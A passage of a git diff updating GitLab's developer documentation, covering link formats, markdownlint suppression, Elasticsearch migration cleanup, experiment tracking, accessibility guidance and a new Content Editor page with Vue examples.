[`.vale.ini`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.vale.ini) in one of the cloned GitLab repositories on your computer. <!-- vale gitlab.Spelling = YES --> @@ -330,7 +330,18 @@ document: - To disable all Vale linting rules, add a `<!-- vale off -->` tag before the text, and a `<!-- vale on -->` tag after the text. -Whenever possible, exclude only the problematic rule and line(s). +Whenever possible, exclude only the problematic rule and lines. For more information, see [Vale's documentation](https://docs.errata.ai/vale/scoping#markup-based-configuration). + +### Disable markdownlint tests + +To disable all markdownlint rules, add a `<!-- markdownlint-disable -->` tag before the text, and a +`<!-- markdownlint-enable -->` tag after the text. + +To disable only a [specific rule](https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#rules), +add the rule number to the tag, for example `<!-- markdownlint-disable MD044 -->` +and `<!-- markdownlint-enable MD044 -->`. + +Whenever possible, exclude only the problematic lines. diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index 8e2028532e4..f035b4d0888 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -85,8 +85,8 @@ If you are a member of the GitLab Slack workspace, you can request help in `#doc ### Reviewing and merging -Anyone with Maintainer access to the relevant GitLab project can merge documentation changes. -Maintainers must make a good-faith effort to ensure that the content: +Anyone with the [Maintainer role](../../user/permissions.md) to the relevant GitLab project can +merge documentation changes. Maintainers must make a good-faith effort to ensure that the content: - Is clear and sufficiently easy for the intended audience to navigate and understand. - Meets the [Documentation Guidelines](index.md) and [Style Guide](styleguide/index.md). @@ -115,7 +115,7 @@ The process involves the following: and link it from the merge request. The process is reflected in the **Documentation** -[merge request template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/merge_request_templates/Documentation.md). +[merge request template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Documentation.md). ## Other ways to help diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 452b957c705..fb00fe748d0 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -30,7 +30,7 @@ should be added for EE. Licensed features can be stubbed using the spec helper `stub_licensed_features` in `EE::LicenseHelpers`. You can force GitLab to act as CE by either deleting the `ee/` directory or by -setting the [`FOSS_ONLY` environment variable](https://gitlab.com/gitlab-org/gitlab/blob/master/config/helpers/is_ee_env.js) +setting the [`FOSS_ONLY` environment variable](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/helpers/is_ee_env.js) to something that evaluates as `true`. The same works for running tests (for example `FOSS_ONLY=1 yarn jest`). @@ -71,7 +71,7 @@ is applied not only to models. Here's a list of other examples: - `ee/app/views/foo/_bar.html.haml` This works because for every path that is present in CE's eager-load/auto-load -paths, we add the same `ee/`-prepended path in [`config/application.rb`](https://gitlab.com/gitlab-org/gitlab/blob/925d3d4ebc7a2c72964ce97623ae41b8af12538d/config/application.rb#L42-52). +paths, we add the same `ee/`-prepended path in [`config/application.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/925d3d4ebc7a2c72964ce97623ae41b8af12538d/config/application.rb#L42-52). This also applies to views. #### Testing EE-only features @@ -538,7 +538,7 @@ In this case, we could as well just use `render_ce` which would ignore any EE partials. One example would be `ee/app/views/shared/issuable/form/_default_templates.html.haml`: -``` haml +```haml - if @project.feature_available?(:issuable_default_templates) = render_ce 'shared/issuable/form/default_templates' - elsif show_promotions? diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 6b829faf74d..d5f6e95033f 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -36,15 +36,15 @@ Additionally, if you need large repositories or multiple forks for testing, plea ## How does it work? -The Elasticsearch integration depends on an external indexer. We ship an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). The user must trigger the initial indexing via a Rake task but, after this is done, GitLab itself will trigger reindexing when required via `after_` callbacks on create, update, and destroy that are inherited from [`/ee/app/models/concerns/elastic/application_versioned_search.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/models/concerns/elastic/application_versioned_search.rb). +The Elasticsearch integration depends on an external indexer. We ship an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). The user must trigger the initial indexing via a Rake task but, after this is done, GitLab itself will trigger reindexing when required via `after_` callbacks on create, update, and destroy that are inherited from [`/ee/app/models/concerns/elastic/application_versioned_search.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/concerns/elastic/application_versioned_search.rb). After initial indexing is complete, create, update, and delete operations for all models except projects (see [#207494](https://gitlab.com/gitlab-org/gitlab/-/issues/207494)) are tracked in a Redis [`ZSET`](https://redis.io/topics/data-types#sorted-sets). A regular `sidekiq-cron` `ElasticIndexBulkCronWorker` processes this queue, updating many Elasticsearch documents at a time with the [Bulk Request API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-bulk.html). -Search queries are generated by the concerns found in [`ee/app/models/concerns/elastic`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/models/concerns/elastic). These concerns are also in charge of access control, and have been a historic source of security bugs so please pay close attention to them! +Search queries are generated by the concerns found in [`ee/app/models/concerns/elastic`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/models/concerns/elastic). These concerns are also in charge of access control, and have been a historic source of security bugs so please pay close attention to them! ## Existing Analyzers/Tokenizers/Filters -These are all defined in [`ee/lib/elastic/latest/config.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/elastic/latest/config.rb) +These are all defined in [`ee/lib/elastic/latest/config.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb) ### Analyzers @@ -214,7 +214,7 @@ end ``` Applied migrations are stored in `gitlab-#{RAILS_ENV}-migrations` index. All migrations not executed -are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) +are applied by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) cron worker sequentially. To update Elastic index mappings, apply the configuration to the respective files: @@ -227,15 +227,15 @@ Any data or index cleanup needed to support migration retries should be handled ### Migration options supported by the `Elastic::MigrationWorker` -[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options: +[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options: -- `batched!` - Allow the migration to run in batches. If set, the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) +- `batched!` - Allow the migration to run in batches. If set, the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) will re-enqueue itself with a delay which is set using the `throttle_delay` option described below. The batching must be handled within the `migrate` method, this setting controls the re-enqueuing only. - `throttle_delay` - Sets the wait time in between batch runs. This time should be set high enough to allow each migration batch enough time to finish. Additionally, the time should be less than 30 minutes since that is how often the -[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) +[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) cron worker runs. Default value is 5 minutes. - `pause_indexing!` - Pause indexing while the migration runs. This setting will record the indexing setting before @@ -308,12 +308,15 @@ We choose to use GitLab major version upgrades as a safe time to remove backwards compatibility for indices that have not been fully migrated. We [document this in our upgrade documentation](../update/index.md#upgrading-to-a-new-major-version). We also -choose to remove the migration code and tests so that: +choose to replace the migration code with the halted migration +and remove tests so that: - We don't need to maintain any code that is called from our Advanced Search migrations. - We don't waste CI time running tests for migrations that we don't support anymore. +- Operators who have not run this migration and who upgrade directly to the + target version will see a message prompting them to reindex from scratch. To be extra safe, we will not delete migrations that were created in the last minor version before the major upgrade. So, if we are upgrading to `%14.0`, @@ -334,18 +337,10 @@ For every migration that was created 2 minor versions before the major version being upgraded to, we do the following: 1. Confirm the migration has actually completed successfully for GitLab.com. -1. Replace the content of `migrate` and `completed?` methods as follows: +1. Replace the content of the migration with: ```ruby - def migrate - log_raise "Migration has been deleted in the last major version upgrade." \ - "Migrations are supposed to be finished before upgrading major version https://docs.gitlab.com/ee/update/#upgrading-to-a-new-major-version ." \ - "To correct this issue, recreate your index from scratch: https://docs.gitlab.com/ee/integration/elasticsearch.html#last-resort-to-recreate-an-index." - end - - def completed? - false - end + include Elastic::MigrationObsolete ``` 1. Delete any spec files to support this migration. diff --git a/doc/development/event_tracking/backend.md b/doc/development/event_tracking/backend.md index e8b8e0c4885..3931f0b35ab 100644 --- a/doc/development/event_tracking/backend.md +++ b/doc/development/event_tracking/backend.md @@ -1,8 +1,9 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' +remove_date: '2021-12-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- This redirect file can be deleted after December 1, 2021. --> +<!-- This redirect file can be deleted after 2021-12-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/event_tracking/frontend.md b/doc/development/event_tracking/frontend.md index e8b8e0c4885..3931f0b35ab 100644 --- a/doc/development/event_tracking/frontend.md +++ b/doc/development/event_tracking/frontend.md @@ -1,8 +1,9 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' +remove_date: '2021-12-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- This redirect file can be deleted after December 1, 2021. --> +<!-- This redirect file can be deleted after 2021-12-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/event_tracking/index.md b/doc/development/event_tracking/index.md index e8b8e0c4885..3931f0b35ab 100644 --- a/doc/development/event_tracking/index.md +++ b/doc/development/event_tracking/index.md @@ -1,8 +1,9 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' +remove_date: '2021-12-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- This redirect file can be deleted after December 1, 2021. --> +<!-- This redirect file can be deleted after 2021-12-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/experiment_guide/experimentation.md b/doc/development/experiment_guide/experimentation.md index 7135f8acd9b..ee0f63342f1 100644 --- a/doc/development/experiment_guide/experimentation.md +++ b/doc/development/experiment_guide/experimentation.md @@ -6,10 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Create an A/B test with `Experimentation Module` +NOTE: +We recommend using [GLEX](gitlab_experiment.md) for new experiments. + ## Implement the experiment 1. Add the experiment to the `Gitlab::Experimentation::EXPERIMENTS` hash in - [`experimentation.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib%2Fgitlab%2Fexperimentation.rb): + [`experimentation.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib%2Fgitlab%2Fexperimentation.rb): ```ruby EXPERIMENTS = { diff --git a/doc/development/experiment_guide/gitlab_experiment.md b/doc/development/experiment_guide/gitlab_experiment.md index db9bc521cfd..820d1da0080 100644 --- a/doc/development/experiment_guide/gitlab_experiment.md +++ b/doc/development/experiment_guide/gitlab_experiment.md @@ -394,6 +394,26 @@ You may be asked from time to time to track a specific record ID in experiments. The approach is largely up to the PM and engineer creating the implementation. No recommendations are provided here at this time. +### Record experiment subjects + +Snowplow tracking of identifiable users or groups is prohibited, but you can still +determine if an experiment is successful or not. We're allowed to record the ID of +a namespace, project or user in our database. Therefore, we can tell the experiment +to record their ID together with the assigned experiment variant in the +`experiment_subjects` database table for later analysis. + +For the recording to work, the experiment's context must include a `namespace`, +`group`, `project`, `user`, or `actor`. + +To record the experiment subject when you first assign a variant, call `record!` in +the experiment's block: + +```ruby +experiment(:pill_color, actor: current_user) do |e| + e.record! +end +``` + ## Test with RSpec This gem provides some RSpec helpers and custom matchers. These are in flux as of GitLab 13.10. diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md index 0d534a974a1..798c6ff84d0 100644 --- a/doc/development/experiment_guide/index.md +++ b/doc/development/experiment_guide/index.md @@ -12,7 +12,7 @@ Experiments are run as an A/B/n test, and are behind a feature flag to turn the ## Experiment tracking issue -Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. The tracking issue is similar to a feature flag rollout issue, and is also used to track the status of an experiment. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future). +Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. The tracking issue is similar to a feature flag rollout issue, and is also used to track the status of an experiment. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future). After the deadline, the issue needs to be resolved and either: - It was successful and the experiment becomes the new default. @@ -46,17 +46,25 @@ One is built into GitLab directly and has been around for a while (this is calle to as `Gitlab::Experiment` -- GLEX for short. Both approaches use [experiment](../feature_flags/index.md#experiment-type) -feature flags, and there is currently no strong suggestion to use one over the other. +feature flags. We recommend using GLEX rather than `Experimentation Module` for new experiments. -| Feature | `Experimentation Module` | GLEX | -| -------------------- |------------------------- | ---- | -| Record user grouping | Yes | No | -| Uses feature flags | Yes | Yes | -| Multivariate (A/B/n) | No | Yes | - -- [Implementing an A/B experiment using `Experimentation Module`](experimentation.md) - [Implementing an A/B/n experiment using GLEX](gitlab_experiment.md) +- [Implementing an A/B experiment using `Experimentation Module`](experimentation.md) Historical Context: `Experimentation Module` was built iteratively with the needs that appeared while implementing Growth sub-department experiments, while GLEX was built with the findings of the team and an easier to use API. + +### Add new icons and illustrations for experiments + +Some experiments may require you to add custom icons or illustrations to our codebase. +This process is lengthy and at this stage, the outcome of the experiment uncertain. +Therefore, you should postpone this effort until the [experiment cleanup process](https://about.gitlab.com/handbook/engineering/development/growth/#experiment-cleanup-issue). + +We recommend the following workflow: + +1. Add an icon or illustration as an `.svg` file in the `/app/assets/images` (or EE) path in the GitLab repository. +1. Use `image_tag` or `image_path` to render it via the asset pipeline. +1. **If the experiment is a success**, designers add the new icon or illustration to the Pajamas UI kit as part of the cleanup process. + Engineers can then add it to the [SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/) and modify the implementation based on the + [Frontend Development Guidelines](../fe_guide/icons.md#usage-in-hamlrails-2). diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md index ab1325c67a9..15818941b24 100644 --- a/doc/development/fe_guide/accessibility.md +++ b/doc/development/fe_guide/accessibility.md @@ -39,9 +39,20 @@ so when in doubt don't use `aria-*`, `role`, and `tabindex` and stick with seman - [Clickable icons](#icons-that-are-clickable) are buttons, that is, `<gl-button icon="close" />` is used and not `<gl-icon />`. - Icon-only buttons have an `aria-label`. - Interactive elements can be [accessed with the Tab key](#support-keyboard-only-use) and have a visible focus state. +- Elements with [tooltips](#tooltips) are focusable using the Tab key. - Are any `role`, `tabindex` or `aria-*` attributes unnecessary? - Can any `div` or `span` elements be replaced with a more semantic [HTML element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) like `p`, `button`, or `time`? +## Provide a good document outline + +[Headings are the primary mechanism used by screen reader users to navigate content](https://webaim.org/projects/screenreadersurvey8/#finding). +Therefore, the structure of headings on a page should make sense, like a good table of contents. +We should ensure that: + +- There is only one `h1` element on the page. +- Heading levels are not skipped. +- Heading levels are nested correctly. + ## Provide accessible names for screen readers To provide markup with accessible names, ensure every: @@ -257,6 +268,9 @@ Image examples: <!-- SVGs implicitly have a graphics role so if it is semantically an image we should apply `role="img"` --> <svg role="img" :alt="__('A description of the image')" /> + +<!-- A decorative image, hidden from screen readers --> +<img :src="imagePath" :alt="" /> ``` #### Buttons and links with descriptive accessible names @@ -275,6 +289,14 @@ Buttons and links should have accessible names that are descriptive enough to be <gl-link :href="url">{{ __("GitLab's accessibility page") }}</gl-link> ``` +#### Links styled like buttons + +Links can be styled like buttons using `GlButton`. + +```html + <gl-button :href="url">{{ __('Link styled as a button') }}</gl-button> +``` + ## Role In general, avoid using `role`. @@ -336,7 +358,7 @@ Once the markup is semantically complete, use CSS to update it to its desired vi <div role="button" tabindex="0" @click="expand">Expand</div> <!-- good --> -<gl-button @click="expand">Expand</gl-button> +<gl-button class="gl-p-0!" category="tertiary" @click="expand">Expand</gl-button> ``` ### Do not use `tabindex="0"` on interactive elements @@ -423,6 +445,30 @@ Icons that are clickable are semantically buttons, so they should be rendered as <gl-button icon="close" category="tertiary" :aria-label="__('Close')" @click="handleClick" /> ``` +## Tooltips + +When adding tooltips, we must ensure that the element with the tooltip can receive focus so keyboard users can see the tooltip. +If the element is a static one, such as an icon, we can enclose it in a button, which already is +focusable, so we don't have to add `tabindex=0` to the icon. + +The following code snippet is a good example of an icon with a tooltip. + +- It is automatically focusable, as it is a button. +- It is given an accessible name with `aria-label`, as it is a button with no text. +- We can use the `gl-hover-bg-transparent!` class if we don't want the button's background to become gray on hover. +- We can use the `gl-p-0!` class to remove the button padding, if needed. + +```html +<gl-button + v-gl-tooltip + class="gl-hover-bg-transparent! gl-p-0!" + icon="warning" + category="tertiary" + :title="tooltipText" + :aria-label="__('Warning')" +/> +``` + ## Hiding elements Use the following table to hide elements from users, when appropriate. @@ -478,5 +524,3 @@ We have two options for Web accessibility testing: - [The A11Y Project](https://www.a11yproject.com/) is a good resource for accessibility - [Awesome Accessibility](https://github.com/brunopulis/awesome-a11y) is a compilation of accessibility-related material -- You can read [Chrome Accessibility Developer Tools'](https://github.com/GoogleChrome/accessibility-developer-tools) - rules on its [Audit Rules page](https://github.com/GoogleChrome/accessibility-developer-tools/wiki/Audit-Rules) diff --git a/doc/development/fe_guide/content_editor.md b/doc/development/fe_guide/content_editor.md new file mode 100644 index 00000000000..f6329f39636 --- /dev/null +++ b/doc/development/fe_guide/content_editor.md @@ -0,0 +1,116 @@ +--- +stage: Create +group: Editor +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Content Editor **(FREE)** + +The Content Editor is a UI component that provides a WYSIWYG editing +experience for [GitLab Flavored Markdown](../../user/markdown.md) (GFM) in the GitLab application. +It also serves as the foundation for implementing Markdown-focused editors +that target other engines, like static site generators. + +We use [tiptap 2.0](https://www.tiptap.dev/) and [ProseMirror](https://prosemirror.net/) +to build the Content Editor. These frameworks provide a level of abstraction on top of +the native +[`contenteditable`](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Editable_content) web technology. + +## Architecture remarks + +At a high level, the Content Editor: + +- Imports arbitrary Markdown. +- Renders it in a HTML editing area. +- Exports it back to Markdown with changes introduced by the user. + +The Content Editor relies on the +[Markdown API endpoint](../../api/markdown.md) to transform Markdown +into HTML. It sends the Markdown input to the REST API and displays the API's +HTML output in the editing area. The editor exports the content back to Markdown +using a client-side library that serializes editable documents into Markdown. + + + +Check the [Content Editor technical design document](https://docs.google.com/document/d/1fKOiWpdHned4KOLVOOFYVvX1euEjMP5rTntUhpapdBg) +for more information about the design decisions that drive the development of the editor. + +**NOTE**: We also designed the Content Editor to be extensible. We intend to provide +more information about extension development for supporting new types of content in upcoming +milestones. + +## GitLab Flavored Markdown support + +The [GitLab Flavored Markdown](../../user/markdown.md) extends +the [CommonMark specification](https://spec.commonmark.org/0.29/) with support for a +variety of content types like diagrams, math expressions, and tables. Supporting +all GitLab Flavored Markdown content types in the Content Editor is a work in progress. For +the status of the ongoing development for CommonMark and GitLab Flavored Markdown support, read: + +- [Basic Markdown formatting extensions](https://gitlab.com/groups/gitlab-org/-/epics/5404) epic. +- [GitLab Flavored Markdown extensions](https://gitlab.com/groups/gitlab-org/-/epics/5438) epic. + +## Usage + +To include the Content Editor in your feature, import the `createContentEditor` factory +function and the `ContentEditor` Vue component. `createContentEditor` sets up an instance +of [tiptap's Editor class](https://www.tiptap.dev/api/editor) with all the necessary +extensions to support editing GitLab Flavored Markdown content. It also creates +a Markdown serializer that allows exporting tiptap's document format to Markdown. + +`createContentEditor` requires a `renderMarkdown` parameter invoked +by the editor every time it needs to convert Markdown to HTML. The Content Editor +does not provide a default value for this function yet. + +**NOTE**: The Content Editor is in an early development stage. Usage and development +guidelines are subject to breaking changes in the upcoming months. + +```html +<script> +import { GlButton } from '@gitlab/ui'; +import { createContentEditor, ContentEditor } from '~/content_editor'; +import { __ } from '~/locale'; +import createFlash from '~/flash'; + +export default { + components: { + ContentEditor, + GlButton, + }, + data() { + return { + contentEditor: null, + } + }, + created() { + this.contentEditor = createContentEditor({ + renderMarkdown: (markdown) => Api.markdown({ text: markdown }), + }); + + try { + await this.contentEditor.setSerializedContent(this.content); + } catch (e) { + createFlash(__('There was an error loading content in the editor'), e); + } + }, + methods: { + async save() { + await Api.updateContent({ + content: this.contentEditor.getSerializedContent(), + }); + }, + }, +}; +</script> +<template> + <div> + <content-editor :content-editor="contentEditor" /> + <gl-button @click="save()">Save</gl-button> + </div> +</template> +``` + +Call `setSerializedContent` to set initial Markdown in the Editor. This method is +asynchronous because it makes an API request to render the Markdown input. +`getSerializedContent` returns a Markdown string that represents the serialized +version of the editable document. diff --git a/doc/development/fe_guide/design_anti_patterns.md b/doc/development/fe_guide/design_anti_patterns.md index ee4fceff927..0788921fce4 100644 --- a/doc/development/fe_guide/design_anti_patterns.md +++ b/doc/development/fe_guide/design_anti_patterns.md @@ -119,8 +119,8 @@ Here are some ills that Singletons often produce: such as no clear ownership and no access control. These leads to high coupling situations that can be buggy and difficult to untangle. 1. **Infectious.** Singletons are infectious, especially when they manage state. Consider the component - [RepoEditor](https://gitlab.com/gitlab-org/gitlab/blob/27ad6cb7b76430fbcbaf850df68c338d6719ed2b/app%2Fassets%2Fjavascripts%2Fide%2Fcomponents%2Frepo_editor.vue#L0-1) - used in the Web IDE. This component interfaces with a Singleton [Editor](https://gitlab.com/gitlab-org/gitlab/blob/862ad57c44ec758ef3942ac2e7a2bd40a37a9c59/app%2Fassets%2Fjavascripts%2Fide%2Flib%2Feditor.js#L21) + [RepoEditor](https://gitlab.com/gitlab-org/gitlab/-/blob/27ad6cb7b76430fbcbaf850df68c338d6719ed2b/app%2Fassets%2Fjavascripts%2Fide%2Fcomponents%2Frepo_editor.vue#L0-1) + used in the Web IDE. This component interfaces with a Singleton [Editor](https://gitlab.com/gitlab-org/gitlab/-/blob/862ad57c44ec758ef3942ac2e7a2bd40a37a9c59/app%2Fassets%2Fjavascripts%2Fide%2Flib%2Feditor.js#L21) which manages some state for working with Monaco. Because of the Singleton nature of the Editor class, the component `RepoEditor` is now forced to be a Singleton as well. Multiple instances of this component would cause production issues because no one truly owns the instance of `Editor`. diff --git a/doc/development/fe_guide/editor_lite.md b/doc/development/fe_guide/editor_lite.md index 5ad0c753ced..f28588c23e9 100644 --- a/doc/development/fe_guide/editor_lite.md +++ b/doc/development/fe_guide/editor_lite.md @@ -15,6 +15,7 @@ GitLab features use it, including: - [CI Linter](../../ci/lint.md) - [Snippets](../../user/snippets.md) - [Web Editor](../../user/project/repository/web_editor.md) +- [Security Policies](../../user/application_security/threat_monitoring/index.md) ## How to use Editor Lite diff --git a/doc/development/fe_guide/event_tracking.md b/doc/development/fe_guide/event_tracking.md index e8b8e0c4885..3931f0b35ab 100644 --- a/doc/development/fe_guide/event_tracking.md +++ b/doc/development/fe_guide/event_tracking.md @@ -1,8 +1,9 @@ --- redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/' +remove_date: '2021-12-01' --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- This redirect file can be deleted after December 1, 2021. --> +<!-- This redirect file can be deleted after 2021-12-01. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md index bf1dae6e7bd..6b9d5ace4e6 100644 --- a/doc/development/fe_guide/frontend_faq.md +++ b/doc/development/fe_guide/frontend_faq.md @@ -32,15 +32,15 @@ question: document.body.dataset.page ``` -Find here the [source code setting the attribute](https://gitlab.com/gitlab-org/gitlab/blob/cc5095edfce2b4d4083a4fb1cdc7c0a1898b9921/app/views/layouts/application.html.haml#L4). +Find here the [source code setting the attribute](https://gitlab.com/gitlab-org/gitlab/-/blob/cc5095edfce2b4d4083a4fb1cdc7c0a1898b9921/app/views/layouts/application.html.haml#L4). #### Rails routes -The `rake routes` command can be used to list all the routes available in the application. Piping the output into `grep`, we can perform a search through the list of available routes. +The `rails routes` command can be used to list all the routes available in the application. Piping the output into `grep`, we can perform a search through the list of available routes. The output includes the request types available, route parameters and the relevant controller. ```shell -bundle exec rake routes | grep "issues" +bundle exec rails routes | grep "issues" ``` ### 2. `modal_copy_button` vs `clipboard_button` @@ -82,7 +82,7 @@ follow up issue and attach it to the component implementation epic found in the ### 4. My submit form button becomes disabled after submitting -A Submit button inside of a form attaches an `onSubmit` event listener on the form element. [This code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. To avoid this behavior, add the class `js-no-auto-disable` to the button. +A Submit button inside of a form attaches an `onSubmit` event listener on the form element. [This code](https://gitlab.com/gitlab-org/gitlab/-/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. To avoid this behavior, add the class `js-no-auto-disable` to the button. ### 5. Should one use a full URL (for example `gon.gitlab_url`) or a full path (for example `gon.relative_url_root`) when referencing backend endpoints? @@ -172,7 +172,7 @@ To return to the normal development mode: ### 8. Babel polyfills -> [Introduced](https://gitlab.com/gitlab-org/gitlab/issues/28837) in GitLab 12.8. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28837) in GitLab 12.8. GitLab has enabled the Babel `preset-env` option [`useBuiltIns: 'usage'`](https://babeljs.io/docs/en/babel-preset-env#usebuiltins-usage). diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index 49c511c2b85..870605c82f4 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -94,7 +94,7 @@ their execution by clicking **Execute query** button on the top left: ## Apollo Client To save duplicated clients getting created in different apps, we have a -[default client](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/javascripts/lib/graphql.js) that should be used. This sets up the +[default client](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/lib/graphql.js) that should be used. This sets up the Apollo client with the correct URL and also sets the CSRF headers. Default client accepts two parameters: `resolvers` and `config`. @@ -106,6 +106,12 @@ Default client accepts two parameters: `resolvers` and `config`. - `assumeImmutableResults` (set to `false` by default) - this setting, when set to `true`, assumes that every single operation on updating Apollo Cache is immutable. It also sets `freezeResults` to `true`, so any attempt on mutating Apollo Cache throws a console warning in development environment. Please ensure you're following the immutability pattern on cache update operations before setting this option to `true`. - `fetchPolicy` determines how you want your component to interact with the Apollo cache. Defaults to "cache-first". +### Multiple client queries for the same object + +If you are make multiple queries to the same Apollo client object you might encounter the following error: "Store error: the application attempted to write an object with no provided ID but the store already contains an ID of SomeEntity". [This error only should occur when you have made a query with an ID field for a portion, then made another that returns what would be the same object, but is missing the ID field.](https://github.com/apollographql/apollo-client/issues/2510#issue-271829009) + +Please note this is being tracked in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326101) and the documentation will be updated when this issue is resolved. + ## GraphQL Queries To save query compilation at runtime, webpack can directly import `.graphql` @@ -1091,7 +1097,7 @@ it('renders a loading state', () => { const mockApollo = createMockApolloProvider(); const wrapper = createComponent({ mockApollo }); - expect(wrapper.find(LoadingSpinner).exists()).toBe(true) + expect(wrapper.findComponent(LoadingSpinner).exists()).toBe(true) }); it('renders designs list', async () => { @@ -1393,7 +1399,6 @@ describe('My Index test with `createMockApollo`', () => { afterEach(() => { wrapper.destroy(); - wrapper = null; fetchLocalUserSpy = null; }); diff --git a/doc/development/fe_guide/img/content_editor_highlevel_diagram.png b/doc/development/fe_guide/img/content_editor_highlevel_diagram.png Binary files differnew file mode 100644 index 00000000000..73a71cf5843 --- /dev/null +++ b/doc/development/fe_guide/img/content_editor_highlevel_diagram.png diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md index 0f3754c29e7..00f0d72571a 100644 --- a/doc/development/fe_guide/index.md +++ b/doc/development/fe_guide/index.md @@ -93,6 +93,11 @@ General information about frontend [dependencies](dependencies.md) and how we ma How we implement [keyboard shortcuts](keyboard_shortcuts.md) that can be customized and disabled. +## Editors + +GitLab text editing experiences are provided by the [Source Editor](editor_lite.md) and +the [Content Editor](content_editor.md). + ## Frontend FAQ Read the [frontend's FAQ](frontend_faq.md) for common small pieces of helpful information. diff --git a/doc/development/fe_guide/style/vue.md b/doc/development/fe_guide/style/vue.md index 93e4f234ccb..5c79d47e7b0 100644 --- a/doc/development/fe_guide/style/vue.md +++ b/doc/development/fe_guide/style/vue.md @@ -463,7 +463,7 @@ Creating a global, mutable wrapper provides a number of advantages, including th let wrapper; // this can now be reused across tests - const findMyComponent = wrapper.find(MyComponent); + const 